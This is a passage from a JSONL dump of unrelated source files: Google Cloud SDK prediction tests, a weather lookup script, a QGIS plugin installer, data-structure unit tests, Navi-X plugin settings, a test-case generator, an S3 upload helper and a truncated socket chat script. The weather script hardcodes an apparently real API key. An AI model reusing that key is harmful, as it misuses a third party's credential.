self.Touch(self.temp_path, 'instances.txt', contents=contents)\n command += ' --{}-instances '.format(type_) + path\n\n return self.Run(command)\n\n\nclass PredictArgumentsTest(PredictTestBase):\n\n def testPredictModelRequired(self):\n with self.AssertRaisesArgumentErrorMatches(\n 'argument --model: Must be specified.'):\n self.Run('ml-engine predict --text-instances=file.txt')\n\n def testPredictInstancesRequired(self):\n with self.AssertRaisesArgumentErrorMatches(\n 'Exactly one of (--json-instances | --text-instances) must be '\n 'specified.'):\n self.Run('ml-engine predict --model my_model')\n\n def testPredictInstancesCannotSpecifyBoth(self):\n with self.AssertRaisesExceptionMatches(\n cli_test_base.MockArgumentError,\n 'argument --json-instances: Exactly one of (--json-instances | '\n '--text-instances) must be specified.'):\n self.Run('ml-engine predict --model my_model '\n '--text-instances=instances.txt '\n '--json-instances=instances.json')\n\n\nclass PredictTest(PredictTestBase):\n\n _PREDICTIONS = {'predictions': [{'x': 1, 'y': 2}]}\n _PREDICTIONS_LIST = {'predictions': [1, 2, 3]}\n\n def SetUp(self):\n super(PredictTest, self).SetUp()\n self.version_ref = resources.REGISTRY.Create('ml.projects.models.versions',\n versionsId='v1',\n modelsId='my_model',\n projectsId=self.Project())\n\n def testPredictJsonInstances(self):\n self.mock_predict.return_value = self._PREDICTIONS\n test_instances = '{\"images\": [0, 1], \"key\": 3}'\n self._RunWithInstances(test_instances, 'json')\n\n self.mock_predict.assert_called_once_with(self.version_ref,\n [{'images': [0, 1], 'key': 3}],\n signature_name=None)\n\n def testPredictMultipleJsonInstances(self):\n self.mock_predict.return_value = self._PREDICTIONS_LIST\n\n test_instances = ('{\"images\": [0, 1], \"key\": 3}\\n'\n '{\"images\": [3, 2], \"key\": 2}\\n'\n '{\"images\": [2, 1], \"key\": 1}')\n self._RunWithInstances(test_instances, 'json')\n\n self.mock_predict.assert_called_once_with(\n self.version_ref,\n [{'images': [0, 1], 'key': 3},\n {'images': [3, 2], 'key': 2},\n {'images': [2, 1], 'key': 1}],\n signature_name=None)\n\n def testPredictNoVersion(self):\n self.mock_predict.return_value = self._PREDICTIONS\n\n test_instances = '{\"images\": [0, 1], \"key\": 3}'\n self._RunWithInstances(test_instances, 'json', version=None)\n\n model_ref = resources.REGISTRY.Create('ml.projects.models',\n modelsId='my_model',\n projectsId=self.Project())\n self.mock_predict.assert_called_once_with(\n model_ref, [{'images': [0, 1], 'key': 3}], signature_name=None)\n\n def testPredictEmptyFile(self):\n with self.assertRaisesRegex(core_exceptions.Error,\n 'No valid instance was found.'):\n self._RunWithInstances('', 'json')\n\n def testPredictTooManyInstances(self):\n test_instances = '\\n'.join(['{\"images\": [0, 1], \"key\": 3}'] * 101)\n with self.assertRaisesRegex(core_exceptions.Error, 'no more than 100'):\n self._RunWithInstances(test_instances, 'json')\n\n def testPredictNonJSON(self):\n with self.assertRaisesRegex(core_exceptions.Error,\n 'Input instances are not in JSON format.'):\n self._RunWithInstances('abcd', 'json')\n\n def testPredictTextFile(self):\n self.mock_predict.return_value = self._PREDICTIONS\n\n self._RunWithInstances('2, 3', 'text')\n\n self.mock_predict.assert_called_once_with(self.version_ref, ['2, 3'],\n signature_name=None)\n\n def testPredictTextFileMultipleInstances(self):\n self.mock_predict.return_value = self._PREDICTIONS_LIST\n\n self._RunWithInstances('2, 3\\n4, 5\\n6, 7', 'text')\n\n self.mock_predict.assert_called_once_with(self.version_ref,\n ['2, 3', '4, 5', '6, 7'],\n signature_name=None)\n\n def testPredictTextFileWithJson(self):\n self.mock_predict.return_value = self._PREDICTIONS_LIST\n test_instances = ('{\"images\": [0, 1], \"key\": 3}\\n'\n '{\"images\": [3, 2], \"key\": 2}\\n'\n '{\"images\": [2, 1], \"key\": 1}')\n\n self._RunWithInstances(test_instances, 'text')\n\n self.mock_predict.assert_called_once_with(\n self.version_ref,\n ['{\"images\": [0, 1], \"key\": 3}',\n '{\"images\": [3, 2], \"key\": 2}',\n '{\"images\": [2, 1], \"key\": 1}'],\n signature_name=None)\n\n def testPredictSignatureName(self):\n self.command = ('ml-engine predict --model my_model '\n '--signature-name my-custom-signature')\n self.mock_predict.return_value = self._PREDICTIONS\n test_instances = '{\"images\": [0, 1], \"key\": 3}'\n self._RunWithInstances(test_instances, 'json')\n\n self.mock_predict.assert_called_once_with(\n self.version_ref,\n [{'images': [0, 1], 'key': 3}],\n signature_name='my-custom-signature')\n\n def testPredictNewlineOnlyJson(self):\n with self.assertRaisesRegex(core_exceptions.Error,\n 'Empty line is not allowed'):\n self._RunWithInstances('\\n', 'json')\n\n def testPredictNewlineOnlyText(self):\n with self.assertRaisesRegex(core_exceptions.Error,\n 'Empty line is not allowed'):\n self._RunWithInstances('\\n', 'text')\n\n def testPredictEmptyLineJson(self):\n test_instances = '{\"images\": [0, 1], \"key\": 3}\\n\\n'\n with self.assertRaisesRegex(core_exceptions.Error,\n 'Empty line is not allowed'):\n self._RunWithInstances(test_instances, 'text')\n\n def testPredictEmptyLineText(self):\n with self.assertRaisesRegex(core_exceptions.Error,\n 'Empty line is not allowed'):\n self._RunWithInstances('2, 3\\n\\n', 'text')\n\n\nclass PredictFormattingTestBase(PredictTestBase):\n\n def _RunWithResult(self, result, version='v1'):\n self.mock_predict.return_value = {'predictions': result}\n self._RunWithInstances('{}', 'json', version=version)\n version_ref = resources.REGISTRY.Create('ml.projects.models.versions',\n versionsId='v1',\n modelsId='my_model',\n projectsId=self.Project())\n self.mock_predict.assert_called_once_with(version_ref, [{}],\n signature_name=None)\n\n def testNoPredictions(self):\n self._RunWithResult([])\n\n self.AssertOutputEquals('predictions: []\\n')\n\n def testInvalidFormat(self):\n self.mock_predict.return_value = {'bad-key': []}\n\n self._RunWithInstances('{}', 'json')\n\n self.AssertOutputEquals('{\\n\"bad-key\": []\\n}\\n', normalize_space=True)\n\n def testInvalidFormat2(self):\n result, testdata = format_test_data.PREDICT_SINGLE_VALUE_FORMAT_RESULT\n self._RunWithResult(testdata)\n self.AssertOutputEquals(result, normalize_space=True)\n\n def testPredictionDict(self):\n result, testdata = format_test_data.PREDICT_DICT_FORMAT_RESULT\n self._RunWithResult(testdata)\n self.AssertOutputEquals(result, normalize_space=True)\n\n def testPredictionDictOfLists(self):\n result, testdata = format_test_data.PREDICT_DICT_LIST_FORMAT_RESULT\n self._RunWithResult(testdata)\n self.AssertOutputEquals(result, normalize_space=True)\n\n def testPredictionDictOfListsOfFloats(self):\n result, testdata = format_test_data.PREDICT_DICT_LIST_FLOAT_FORMAT_RESULT\n self._RunWithResult(testdata)\n self.AssertOutputEquals(result, normalize_space=True)\n\n def testPredictionInts(self):\n result, testdata = format_test_data.PREDICT_LIST_INT_FORMAT_RESULT\n self._RunWithResult(testdata)\n self.AssertOutputEquals(result, normalize_space=True)\n\n def testPredictionFloats(self):\n result, testdata = format_test_data.PREDICT_LIST_FLOAT_FORMAT_RESULT\n self._RunWithResult(testdata)\n self.AssertOutputEquals(result, normalize_space=True)\n\n def testPredictionPredictionsInKeyName(self):\n result, testdata = format_test_data.PREDICT_IN_KEY_FORMAT_RESULT\n self._RunWithResult(testdata)\n self.AssertOutputEquals(result, normalize_space=True)\n\n\nclass PredictArgumentsGaTest(PredictArgumentsTest, base.MlGaPlatformTestBase):\n\n def SetUp(self):\n super(PredictArgumentsGaTest, self).SetUp()\n\n\nclass PredictArgumentsBetaTest(PredictArgumentsTest,\n base.MlBetaPlatformTestBase):\n\n def SetUp(self):\n super(PredictArgumentsBetaTest, self).SetUp()\n\n\nclass PredictGaTest(PredictTest, base.MlGaPlatformTestBase):\n\n def SetUp(self):\n super(PredictGaTest, self).SetUp()\n\n\nclass PredictBetaTest(PredictTest, base.MlBetaPlatformTestBase):\n\n def SetUp(self):\n super(PredictBetaTest, self).SetUp()\n\n\nclass PredictFormattingGaTest(PredictFormattingTestBase,\n base.MlGaPlatformTestBase):\n\n def SetUp(self):\n super(PredictFormattingGaTest, self).SetUp()\n\n\nclass PredictFormattingBetaTest(PredictFormattingTestBase,\n base.MlBetaPlatformTestBase):\n\n def SetUp(self):\n super(PredictFormattingBetaTest, self).SetUp()\n\n\nif __name__ == '__main__':\n test_case.main()\n","sub_path":"google-cloud-sdk/lib/tests/unit/surface/ml_engine/predict_test.py","file_name":"predict_test.py","file_ext":"py","file_size_in_byte":11019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"344607362","text":"def zipstuff():\r\n import requests\r\n import pytemperature\r\n\r\n API_key = \"f2a99365b7628b1ea22823fbcda4dd84\"\r\n base_url = \"http://api.openweathermap.org/data/2.5/weather?\"\r\n\r\n zip_code = input(\"Enter zip code : \")\r\n\r\n Final_url = base_url + \"appid=\" + API_key + \"&q=\" + zip_code\r\n try:\r\n response = requests.get(Final_url)\r\n weather_data = requests.get(Final_url).json()\r\n response.raise_for_status()\r\n print('Successful Process with', response.status_code)\r\n except requests.exceptions.HTTPError as e:\r\n print (e.response.text)\r\n\r\n # JSON data works just similar to python dictionary and you can access the value using [].\r\n # Accessing Temperature, temperature resides in main and its key is temp\r\n temp = weather_data['main']['temp']\r\n\r\n # Accessing wind speed, it resides in wind and its key is speed\r\n wind_speed = weather_data['wind']['speed']\r\n\r\n # Accessing Description, it resides in weather and its key is description\r\n description = weather_data['weather'][0]['description']\r\n\r\n # Accessing Latitude, it resides in coord and its key is lat\r\n latitude = weather_data['coord']['lat']\r\n\r\n # Accessing Longitude, it resides in coord and its key is lon\r\n longitude = weather_data['coord']['lon']\r\n\r\n # Printing Data\r\n\r\n\r\n #print(response.status_code) # To print http response code\r\n print('Temperature : ',pytemperature.k2f(temp)) # Kelvin to Fahrenheit\r\n print('Wind Speed : ',wind_speed)\r\n print('Description : ',description)\r\n print('Latitude : ',latitude)\r\n print('Longitude : ',longitude)\r\n","sub_path":"PyCharm Scripts/DSC510-Week12-Final Project/test5.py","file_name":"test5.py","file_ext":"py","file_size_in_byte":1615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"235534953","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\n/***************************************************************************\n\tpyArchInit Plugin - A QGIS plugin to manage archaeological dataset\n\t\t\t\t\t\t\t stored in Postgres\n\t\t\t\t\t\t\t -------------------\n\tbegin\t\t\t\t : 2007-12-01\n\tcopyright\t\t\t : (C) 2008 by Luca Mandolesi\n\temail\t\t\t\t : mandoluca at gmail.com\n ***************************************************************************/\n\n/***************************************************************************\n *\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t *\n *\t This program is free software; you can redistribute it and/or modify *\n *\t it under the terms of the GNU General Public License as published by *\n *\t the Free Software Foundation; either version 2 of the License, or\t *\n *\t (at your option) any later version.\t\t\t\t\t\t\t\t *\n *\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t *\n ***************************************************************************/\n\"\"\"\n\nimport sys\nimport os\nimport shutil\nfrom pyarchinit_OS_utility import *\n#import urllib\n\nclass pyarchinit_Folder_installation:\n\n\tdef install_dir(self):\n\t\tif os.name == 'posix':\n\t\t\thome = os.environ['HOME']\n\t\telif os.name == 'nt':\n\t\t\thome = os.environ['HOMEPATH']\n\n\t\tmodule_path = os.path.dirname(__file__)\n\n\t\t#module_path_rel = os.path.join(os.sep, '.qgis2', 'python','plugins', 'pyarchinit', 'modules', 'utility')\n\t\t#module_path = \"/Users/adarteprivate/Documents/pyarchinit_beta_test_dev/pyarchinit/modules/utility/\" #('%s%s') % (home, module_path_rel) \n\n\t\thome_DB_path = ('%s%s%s') % (home, os.sep, 'pyarchinit_DB_folder')\n\n\t\tconfig_copy_from_path_rel = os.path.join(os.sep, 'DBfiles', 'config.cfg')\n\t\tconfig_copy_from_path = ('%s%s') % (module_path, config_copy_from_path_rel)\n\t\tconfig_copy_to_path = ('%s%s%s') % (home_DB_path, os.sep, 'config.cfg')\n\n\t\tdb_copy_from_path_rel = os.path.join(os.sep, 'DBfiles', 'pyarchinit_db.sqlite')\n\t\tdb_copy_from_path = ('%s%s') % (module_path, db_copy_from_path_rel)\n\t\tdb_copy_to_path = ('%s%s%s') % (home_DB_path, os.sep, 'pyarchinit_db.sqlite')\n\n\t\tlogo_copy_from_path_rel = os.path.join(os.sep, 'DBfiles', 'logo.jpg')\n\t\tlogo_copy_from_path = ('%s%s') % (module_path, logo_copy_from_path_rel)\n\t\tlogo_copy_to_path = ('%s%s%s') % (home_DB_path, os.sep, 'logo.jpg')\n\t\n\t\tOS_utility = pyarchinit_OS_Utility()\n\n\t\tOS_utility.create_dir(str(home_DB_path))\n\n\t\tOS_utility.copy_file(config_copy_from_path, config_copy_to_path)\n\t\tOS_utility.copy_file(db_copy_from_path, db_copy_to_path)\n\t\tOS_utility.copy_file(logo_copy_from_path, logo_copy_to_path)\n\n\t\thome_PDF_path = ('%s%s%s') % (home, os.sep, 'pyarchinit_PDF_folder')\n\t\tOS_utility.create_dir(home_PDF_path)\n\n\t\thome_MATRIX_path = ('%s%s%s') % (home, os.sep, 'pyarchinit_Matrix_folder')\n\t\tOS_utility.create_dir(home_MATRIX_path)\n\t\n\t\thome_THUMBNAILS_path = ('%s%s%s') % (home, os.sep, 'pyarchinit_Thumbnails_folder')\n\t\tOS_utility.create_dir(home_THUMBNAILS_path)\n\n\t\thome_MAPS_path = ('%s%s%s') % (home, os.sep, 'pyarchinit_MAPS_folder')\n\t\tOS_utility.create_dir(home_MAPS_path)\n\n\t\thome_REPORT_path = ('%s%s%s') % (home, os.sep, 'pyarchinit_Report_folder')\n\t\tOS_utility.create_dir(home_REPORT_path)\n\n\t\thome_QUANT_path = ('%s%s%s') % (home, os.sep, 'pyarchinit_Quantificazioni_folder')\n\t\tOS_utility.create_dir(home_QUANT_path)\n\n\t\thome_TEST_path = ('%s%s%s') % (home, os.sep, 'pyarchinit_Test_folder')\n\t\tOS_utility.create_dir(home_TEST_path)\n\n\t\thome_BECKUP_linux_path = ('%s%s%s') % (home, os.sep,'pyarchinit_db_beckup')\n\t\tOS_utility.create_dir(home_BECKUP_linux_path)\n\t\n\t\t#experimental\n\t\t#il sistema funziona ma sovrascrive ogni volta il file. aggiungere sistema di verifica di presenza del file.\n\t\t#urllib.urlretrieve( \"https://raw.github.com/pyarchinit/pyarchinit_beta_test_dev/master/pyarchinit_dev20130710/modules/utility/DBfiles/pyarchinit_db.sqlite\",db_copy_to_path)\n\na = pyarchinit_Folder_installation()\na.install_dir()","sub_path":"pyarchinit/modules/utility/pyarchinit_folder_installation.py","file_name":"pyarchinit_folder_installation.py","file_ext":"py","file_size_in_byte":3826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"570661847","text":"import unittest\n\nfrom pyomotools.tools import cplex\nfrom sddp.SDDP import createSDDPModel\nfrom sddp.typedefinitions import *\n\nCplexSolver = cplex() # type:CPLEXSHELL\n\n\ndef solve_model(noise_probability:List[float]):\n def build(sp: Subproblem, t: int, markov_state: int):\n model = sp.model\n model.x = Var(domain=NonNegativeReals)\n model.x0 = Var(domain=NonNegativeReals)\n model.xp = Param(initialize=1.5, mutable=True)\n sp.add_state(model.x, model.x0, model.xp)\n # 变量\n model.u = Var(bounds=(0, 1))\n # 约束\n sp.anonymous = Constraint(expr=model.x == model.x0 - model.u)\n if t == 0:\n sp.obj = model.u * 2\n else:\n sp.anonymous = Param(mutable=True)\n p = sp.anonymous\n sp.obj = p * model.u\n sp.setnoiseprobability(noise_probability)\n\n m=createSDDPModel(sense=Sense.Max,stages=2,objective_bound=5,)\n\n\n\n\nclass MyTestCase(unittest.TestCase):\n def test_something(self):\n self.assertEqual(True, False)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"sddp/example/simple_object_noise.py","file_name":"simple_object_noise.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"577755118","text":"import unittest # import the unittest module to test the class methods\r\n\r\nfrom implementation_5.doubly_linked_list import DLinkedList\r\nfrom implementation_5.doubly_linked_list import Node\r\n\r\n\r\nclass TestSLinkedList(unittest.TestCase):\r\n def test_prepend(self):\r\n myObj = DLinkedList() # initialize a new object of the class DLinkedList\r\n myObj.prepend(120) # prepend a new value to the beginning of the linked list\r\n myObj.prepend(130)\r\n self.assertEqual(myObj.get_head(), 130) # check the data in the head node\r\n self.assertEqual(myObj.get_tail(), 120) # check the data in the tail node\r\n\r\n def test_pop_first(self):\r\n myObj = DLinkedList()\r\n myObj.prepend(120)\r\n myObj.prepend(130)\r\n self.assertEqual(myObj.pop_first(), 130) # delete the head 130\r\n\r\n def test_append(self):\r\n myObj = DLinkedList()\r\n myObj.append(120)\r\n myObj.append(130)\r\n self.assertEqual(myObj.get_head(), 120)\r\n self.assertEqual(myObj.get_tail(), 130)\r\n\r\n def test_pop_last(self):\r\n myObj = DLinkedList()\r\n myObj.append(120)\r\n myObj.append(130)\r\n self.assertEqual(myObj.pop_last(), 130) # delete the head 130\r\n\r\n def test_pop_last_2(self):\r\n \"\"\"\r\n test deleting the last element from a non empty Linked List\r\n \"\"\"\r\n myObj = DLinkedList()\r\n with self.assertRaises(IndexError):\r\n myObj.pop_last()\r\n\r\n def test_append_2(self):\r\n \"\"\"\r\n Test the head and tail after appending one value only\r\n \"\"\"\r\n myObj = DLinkedList()\r\n myObj.prepend(120)\r\n self.assertEqual(myObj.get_head(), 120)\r\n self.assertEqual(myObj.get_tail(), 120)\r\n\r\n def test_insert_node(self):\r\n \"\"\"\r\n Test inserting a node to the Linked List giving the previous node\r\n \"\"\"\r\n myObj = DLinkedList()\r\n myObj.append(120)\r\n myObj.append(100)\r\n self.assertEqual(myObj.insert_node(Node(1000), myObj.head), [120, 1000, 100])\r\n\r\n def test_delete_node(self):\r\n \"\"\"\r\n Test deleting a node from the Linked List given the node\r\n \"\"\"\r\n myObj = DLinkedList()\r\n myObj.append(120)\r\n myObj.append(100)\r\n myObj.detete_node(myObj.head.next)\r\n myObj.detete_node(myObj.head)\r\n self.assertEqual(myObj.get_head(), None)\r\n self.assertEqual(myObj.get_tail(), None)\r\n\r\n\r\nif __name__ == '__main__':\r\n unittest.main()\r\n","sub_path":"implementation_5/test_dLinkedList.py","file_name":"test_dLinkedList.py","file_ext":"py","file_size_in_byte":2496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"235203277","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*- \n# * \n# * FileName : 替换空格.py\n# * Date : 2020年05月27日\n# * Description : 请实现一个函数,将一个字符串中的每个空格替换成“%20”。例如,当字符串为We Are Happy.则经过替换之后的字符串为We%20Are%20Happy。 \n# *\n\nclass Solution:\n def replaceSpace(self, s):\n list = []\n for i in s:\n if i == ' ': \n i='%20'\n list.append(i)\n return ''.join(list)\n\n def replaceSpace2(self,s):\n s.replace(\" \",\"%20\")\n return s\n\nif __name__==\"__main__\":\n s=Solution()\n print(s.replaceSpace2('We are happy.'))\n print(s.replaceSpace2('hello world'))\n","sub_path":"AlgorithmsByPython/TargetOffer/字符串/替换空格.py","file_name":"替换空格.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"563055122","text":"#############################################################################\r\n#\r\n# Copyright (C) 2011 Navi-X\r\n#\r\n# This file is part of Navi-X.\r\n#\r\n# Navi-X is free software: you can redistribute it and/or modify\r\n# it under the terms of the GNU General Public License as published by\r\n# the Free Software Foundation, either version 2 of the License, or\r\n# (at your option) any later version.\r\n#\r\n# Navi-X is distributed in the hope that it will be useful,\r\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n# GNU General Public License for more details.\r\n#\r\n# You should have received a copy of the GNU General Public License\r\n# along with Navi-X. If not, see .\r\n#\r\n#############################################################################\r\n\r\nACTION_MOVE_LEFT = 1 #Dpad Left\r\nACTION_MOVE_RIGHT = 2 #Dpad Right\r\nACTION_MOVE_UP = 3 #Dpad Up\r\nACTION_MOVE_DOWN = 4 #Dpad Down\r\nACTION_PAGE_UP = 5 #Left trigger\r\nACTION_PAGE_DOWN = 6 #Right trigger\r\nACTION_SELECT_ITEM = 7 #'A'\r\nACTION_HIGHLIGHT_ITEM = 8\r\nACTION_PARENT_DIR = 9 #'B'\r\nACTION_PREVIOUS_MENU = 10 #'Back'\r\nACTION_SHOW_INFO = 11\r\nACTION_PAUSE = 12\r\nACTION_STOP = 13 #'Start'\r\nACTION_NEXT_ITEM = 14\r\nACTION_PREV_ITEM = 15\r\nACTION_XBUTTON\t = 18 #'X'\r\nACTION_YBUTTON \t = 34\t#'Y'\r\nACTION_MOUSEMOVE = 90 # Mouse has moved\r\nACTION_PREVIOUS_MENU2 = 92 #'Back'\r\nACTION_CONTEXT_MENU = 117 # pops up the context menu\r\nACTION_CONTEXT_MENU2 = 229 # pops up the context menu (remote control \"title\" button)\r\n\r\n\r\n#############################################################################\r\n# auto scaling values\r\n#############################################################################\r\n\r\nHDTV_1080i = 0 #(1920x1080, 16:9, pixels are 1:1)\r\nHDTV_720p = 1 #(1280x720, 16:9, pixels are 1:1)\r\nHDTV_480p_4x3 = 2 #(720x480, 4:3, pixels are 4320:4739)\r\nHDTV_480p_16x9 = 3 #(720x480, 16:9, pixels are 5760:4739)\r\nNTSC_4x3 = 4 #(720x480, 4:3, pixels are 4320:4739)\r\nNTSC_16x9 = 5 #(720x480, 16:9, pixels are 5760:4739)\r\nPAL_4x3 = 6 #(720x576, 4:3, pixels are 128:117)\r\nPAL_16x9 = 7 #(720x576, 16:9, pixels are 512:351)\r\nPAL60_4x3 = 8 #(720x480, 4:3, pixels are 4320:4739)\r\nPAL60_16x9 = 9 #(720x480, 16:9, pixels are 5760:4739)\r\n\r\n\r\n#############################################################################\r\n# directory settings\r\n#############################################################################\r\nimport os, xbmcaddon\r\nRootDir = xbmcaddon.Addon(id='plugin.video.navi-x').getAddonInfo('path')\r\nif RootDir[-1]==';': RootDir=RootDir[0:-1]\r\nif RootDir[0] == '/':\r\n if RootDir[-1] != '/': RootDir = RootDir+'/'\r\n myDownloadsDir = RootDir + \"My Downloads/\"\r\n initDir = RootDir + \"init/\"\r\n myPlaylistsDir = RootDir + \"My Playlists/\"\r\n srcDir = RootDir + \"src/\"\r\n imageDir = RootDir + \"images/\"\r\n #imageDir = RootDir + \"resources/skins/Default/media/\"\r\n cacheDir = RootDir + \"cache/\"\r\n imageViewCacheDir = RootDir + \"cache/mageview/\"\r\n imageCacheDir = RootDir + \"cache/images/\"\r\n tempCacheDir = RootDir + \"cache/temp/\"\r\n nookieCacheDir = RootDir + \"cache/nookies/\"\r\n procCacheDir = RootDir + \"cache/proc/\"\r\n favoritesDir = RootDir + \"favorites/\"\r\n SEPARATOR = '/'\r\nelse:\r\n if RootDir[-1] != '\\\\': RootDir = RootDir+'\\\\'\r\n myDownloadsDir = RootDir + \"My Downloads\\\\\"\r\n initDir = RootDir + \"init\\\\\"\r\n myPlaylistsDir = RootDir + \"My Playlists\\\\\"\r\n srcDir = RootDir + \"src\\\\\"\r\n imageDir = RootDir + \"images\\\\\"\r\n #imageDir = RootDir + \"resources\\\\skins\\\\Default\\\\media\\\\\"\r\n cacheDir = RootDir + \"cache\\\\\"\r\n imageViewCacheDir = RootDir + \"cache\\\\imageview\\\\\"\r\n imageCacheDir = RootDir + \"cache\\\\images\\\\\"\r\n tempCacheDir = RootDir + \"cache\\\\temp\\\\\"\r\n nookieCacheDir = RootDir + \"cache\\\\nookies\\\\\"\r\n procCacheDir = RootDir + \"cache\\\\proc\\\\\"\r\n favoritesDir = RootDir + \"favorites\\\\\"\r\n SEPARATOR = '\\\\'\r\n\r\nimport xbmc\r\ntry:\r\n version = int(xbmc.getInfoLabel(\"System.BuildVersion\").replace(\"PRE-\",\"\")[:2])\r\nexcept:\r\n version = int(xbmc.getInfoLabel(\"System.BuildVersion\")[:1])\r\nif version > 9:\r\n scriptDir = \"special://home/addons/\"\r\n pluginDir = \"special://home/addons/\"\r\n skinDir = \"special://home/skin/\"\r\nelif version == 9:\r\n scriptDir = \"special://home/scripts/\"\r\n pluginDir = \"special://home/plugins/\"\r\n skinDir = \"special://home/skin/\"\r\nelse: \r\n scriptDir = \"Q:\\\\scripts\\\\\"\r\n pluginDir = \"Q:\\\\plugins\\\\\"\r\n skinDir = \"Q:\\\\skin\\\\\"\r\n\r\n\r\nuseLibrtmp=os.path.exists(xbmc.translatePath('special://xbmc/system/players/dvdplayer/librtmp.dll'))\r\n\r\n######################################################################\r\n#program version: Combination of version and subversion\r\nVersion='3' \r\nSubVersion='7.1'\r\n\r\nfavorite_file='favorites.plx' #the favorite list is also a playlist\r\ndownloads_file='downlmenu.plx' #the downloads list is also a playlist\r\ndownloads_queue='downlqueue.plx'\r\ndownloads_complete='downloads.plx'\r\nparent_list='blacklist.plx'\r\nhistory_list='history.plx'\r\nplxVersion = '8'\r\nhome_URL_old='http://www.navi-x.org/playlists/home.plx'\r\nhome_URL='http://navi-x.googlecode.com/svn/trunk/Playlists/home.plx'\r\nhome_URL_mirror='http://navi-x.googlecode.com/svn/trunk/Playlists/home.plx'\r\nbackground_image1 = 'background1.jpg'\r\nbackground_image2 = 'background2.png'\r\nsearchhistory_file = 'search.dat'\r\nnxserver_URL = 'http://navix.turner3d.net'\r\n\r\nurl_open_timeout = 30 #30 seconds\r\npage_size = 200 #display maximum 200 entries on one page\r\nhistory_size = 50 #maximum of entries in the history list\r\n\r\n","sub_path":"Spanish/plugin.video.navi-x/src/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":5786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"62333293","text":"'''\n Aashutosh Rathi\nhttps://github.com/aashutoshrathi/\nTestcase Generator for HackerRank\n\n'''\n\nfrom __future__ import print_function\n\nimport os\nimport random\nimport sys\nimport zipfile\nimport math\nimport shutil\n\nif sys.version[0] == '3':\n raw_input = input\n xrange = range\n\ntry:\n os.mkdir('input')\n os.mkdir('output')\nexcept OSError:\n pass\n\nchoice = int(raw_input(\"Enter your choice of language\\n1 for C\\n2 for C++\\n3 for Java\\n4 for Python\\n\"))\nif choice != 1 and choice != 2 and choice != 3 and choice != 4:\n print(\"Wrong choice entered!\")\n exit()\n\ntf = 10 # number of test files, change it according to you.\n\nfor i in xrange(0, tf + 1):\n print('Generating:', i, file=sys.stderr)\n sys.stdout = open('input/input%02d.txt' % i, 'w')\n\n '''\n Input area will start here,\n everything that you print out here will be taken as input in your logic file.\n You can set difficulty of test cases all by you.\n '''\n\n # Input File Printing Starts\n\n sys.stdout.close()\n # Input File Printing Ends\n\n\n'''\nOutput generation and zipping starts here\njust replace '' with your actual filename everywhere\n\n'''\n# You can change zip filename as per your wish.\nwith zipfile.ZipFile('test-cases.zip', 'w', zipfile.ZIP_DEFLATED) as zf:\n for i in xrange(0, tf + 1):\n print('Zipping:', i, file=sys.stderr) # Will show status of which TC output is generated.\n\n if choice == 1: # Choice of language is C\n os.system('gcc -o .c') # System call to compile .c file\n # System call to generate output files for C\n os.system('./ < input/input%02d.txt > output/output%02d.txt' % (i, i))\n elif choice == 2: # Choice of language is C++\n os.system('g++ -o .cpp') # System call to compile .cpp file\n # System call to generate output files for C++\n os.system('./ < input/input%02d.txt > output/output%02d.txt' % (i, i))\n elif choice == 3: # Choice of language is Java\n os.system('javac .java') # System call to compile .java file\n # System call to generate output files for Java\n os.system('java < input/input%02d.txt > output/output%02d.txt' % (i, i))\n elif choice == 4: # Choice of language is Python\n # System call to generate output files for Python\n os.system('python .py < input/input%02d.txt > output/output%02d.txt' % (i, i))\n\n zf.write('input/input%02d.txt' % i)\n zf.write('output/output%02d.txt' % i)\n\nshutil.rmtree('input')\nshutil.rmtree('output')\n","sub_path":"Python/TC-Generator/TCGen.py","file_name":"TCGen.py","file_ext":"py","file_size_in_byte":2658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"385799491","text":"# -*- coding: utf-8 -*-\n\nfrom django.core.files import File\nfrom storage import S3Storage\n\n\ndef upload(filename, name=None, prefix=False, bucket_name=False, key=None,\n secret=None, host=None):\n \"\"\"\n Uploading files to Amamzon S3.\n \"\"\"\n if isinstance(filename, basestring):\n fl = open(filename, 'rb')\n elif isinstance(filename, (file, File)):\n fl = filename\n else:\n raise TypeError('File must be file or string instance.')\n\n if not name:\n name = fl.name\n\n if prefix:\n if prefix.endswith('/'):\n full_path = prefix + name\n else:\n full_path = prefix + '/' + name\n else:\n full_path = name\n\n s3 = S3Storage(bucket_name=bucket_name, key=key, secret=secret, host=host)\n s3.save(full_path, fl)\n\n return s3.url(full_path)\n","sub_path":"django_boto/s3/shortcuts.py","file_name":"shortcuts.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"265680038","text":"import threading\r\nimport socket\r\n\r\nprint(\"Suggested ip: \" + socket.gethostbyname(socket.gethostname()))\r\nmode = input(\"1:Connect 2:Listen :\")\r\nip = input(\"IP:\")\r\ns = socket.socket()\r\n\r\n\r\ndef recive(sock):\r\n while True:\r\n data = sock.recv(1024)\r\n print(\"[+] \" + data.decode())\r\n\r\nif mode == \"2\":\r\n port = 60001\r\n s.bind((ip,port))\r\n s.listen()\r\n conn, addr = s.accept()\r\n threading.Thread(target=lambda:recive(conn)).start()\r\n while True:\r\n msg = input()\r\n conn.send(msg.encode())\r\n\r\nelif mode == \"1\":\r\n port = 60002\r\n 